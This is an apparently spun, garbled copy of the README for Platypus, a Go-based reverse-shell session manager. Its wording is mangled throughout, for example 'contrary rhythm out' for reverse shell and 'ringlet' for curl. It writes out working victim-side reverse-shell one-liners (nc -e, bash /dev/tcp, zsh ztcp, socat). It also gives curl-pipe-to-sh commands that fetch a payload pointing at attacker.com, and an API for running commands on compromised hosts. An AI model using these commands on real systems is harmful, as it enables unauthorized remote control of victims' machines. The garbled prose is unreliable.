Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go
Influenza A virus subtype H5N1 modern multiple contrary rhythm out sessions/clients managing director via concluding written inwards go.
Features
- Multiple service listening port
- Multiple customer connections
- RESTful API
- Reverse rhythm out equally a service
Screenshot
Network Topology
Attack IP: 192.168.1.2 Reverse Shell Service: 0.0.0.0:8080 RESTful Service: 127.0.0.1:9090 Victim IP: 192.168.1.3
Run Platypus from source code
go larn github.com/WangYihang/Platypus cd go/src/github.com/WangYihang/Platypus larn run platypus.go
Run Platypus from liberate binaries
// Download binary from https://github.com/WangYihang/Platypus/releases chmod +x ./Platypus_linux_amd64 ./Platypus_linux_amd64
Victim side
nc -e /bin/bash 192.168.1.2 8080 bash -c 'bash -i >/dev/tcp/192.168.1.2/8080 0>&1' zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.2 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.2:8080
Reverse rhythm out equally a Service
// Platypus is able to multiplexing the contrary rhythm out listening port // The port 8080 tin have contrary rhythm out customer connexion // Also these is a Reverse rhythm out equally a service running on this port // victim volition live on redirected to attacker-host attacker-port // sh -c "$(curl http://host:port/attacker-host/attacker-port)" # ringlet http://192.168.1.2:8080/attacker.com/1337 bash -c 'bash -i >/dev/tcp/attacker.com/1337 0>&1' # sh -c "$(curl http://192.168.1.2:8080/attacker.com/1337)" // if the assailant information non specified, it volition purpose host, port equally attacker-host attacker-port // sh -c "$(curl http://host:port/)" # ringlet http://192.168.1.2:8080/ ringlet http://192.168.1.2:8080/192.168.1.2/8080|sh # sh -c "$(curl http://host:port/)"
RESTful API
GET /client
List all online clients
# ringlet 'http://127.0.0.1:9090/client' { "msg": [ "192.168.1.3:54798" ], "status": truthful }
POST /client/:hash
execute a ascendance on a specific client
# ringlet -X POST 'http://127.0.0.1:9090/client/0723c3bed0d0240140e10a6ffd36eed4' --data 'cmd=whoami' { "status": true, "msg": "root\n", }
- How to hash?
# echo -n "192.168.1.3:54798" | md5sum 0723c3bed0d0240140e10a6ffd36eed4 -